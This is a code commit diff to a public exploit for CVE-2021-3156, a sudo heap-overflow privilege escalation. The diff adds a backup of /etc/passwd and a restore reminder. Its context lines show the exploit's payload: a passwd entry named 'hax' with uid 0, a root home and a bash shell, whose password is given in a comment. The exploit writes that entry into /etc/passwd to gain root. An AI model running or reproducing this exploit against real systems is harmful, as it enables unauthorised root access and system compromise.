Update exploit.c

Author: r4j0x00

CVE-2021-3156/exploit.c

@@ -66,6 +66,7 @@ char * get_user() {
 const char * contents = "\n\nhax:$6$q4tutskpH4.ezGv9$/R6eIP3viVO4oIds5WIqZPN5bQYT/Z1w9s6q6jw.6bO3FTohiFD1L1Jk9EhQdLiv1MeZOCF71PB41dTI2eV3C1:0:0:hax:/root:/bin/bash\n\n"; // password: hax
 
 int main(void) {
+    system("cp /etc/passwd /tmp/passwd_bak");
     size_t initial_size = get_passwd_size();
     char * basedir_name = get_random_string(0x20);
 
@@ -94,7 +95,8 @@ int main(void) {
         waitpid(pid, 0, 0);
 
         if(get_passwd_size() != initial_size) {
-            puts("Success!");
+            puts("[+] Success!");
+            puts("Make sure to copy back /etc/passwd from /tmp/passwd_bak!");
             exit(0);
         }
     }